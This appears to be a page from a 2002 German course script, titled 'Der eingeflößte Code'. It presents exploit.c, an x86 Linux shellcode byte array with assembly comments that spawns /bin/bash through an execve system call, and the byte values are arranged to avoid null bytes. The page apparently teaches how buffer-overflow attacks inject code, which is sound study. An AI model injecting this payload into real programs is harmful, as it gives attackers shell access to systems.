Der eingeflößte Code

 [Vorheriges Kapitel]  [Vorherige Seite]  [Inhaltsverzeichnis]  [Nächste Seite]  [Nächstes Kapitel]

exploit.c
char code[] = {
 0x31, 0xc0,                      /* xor    %eax,%eax    */
 0x50,                            /* push   %eax         */
 0x68, 0x62, 0x61, 0x73, 0x68,    /* push   $0x68736162  */
 0x68, 0x62, 0x69, 0x6e, 0x2f,    /* push   $0x2f6e6962  */
 0x68, 0x2f, 0x2f, 0x2f, 0x2f,    /* push   $0x2f2f2f2f  */
 0x89, 0xe3,                      /* mov    %esp,%ebx    */
 0x50,                            /* push   %eax         */
 0x53,                            /* push   %ebx         */
 0x89, 0xe1,                      /* mov    %esp,%ecx    */
 0x31, 0xd2,                      /* xor    %edx,%edx    */
 0xb0, 0xbb,                      /* mov    $0xbb,%al    */
 0x34, 0xb0,                      /* xor    $0xb0,%al    */
 0xcd, 0x80,                      /* int    $0x80        */
 0x00                             /* End of string */
};

 [Vorheriges Kapitel]  [Vorherige Seite]  [Inhaltsverzeichnis]  [Nächste Seite]  [Nächstes Kapitel]
Copyright © 2002 Andreas Borchert/Christian Ehrhardt, in HTML konvertiert am 18.06.2002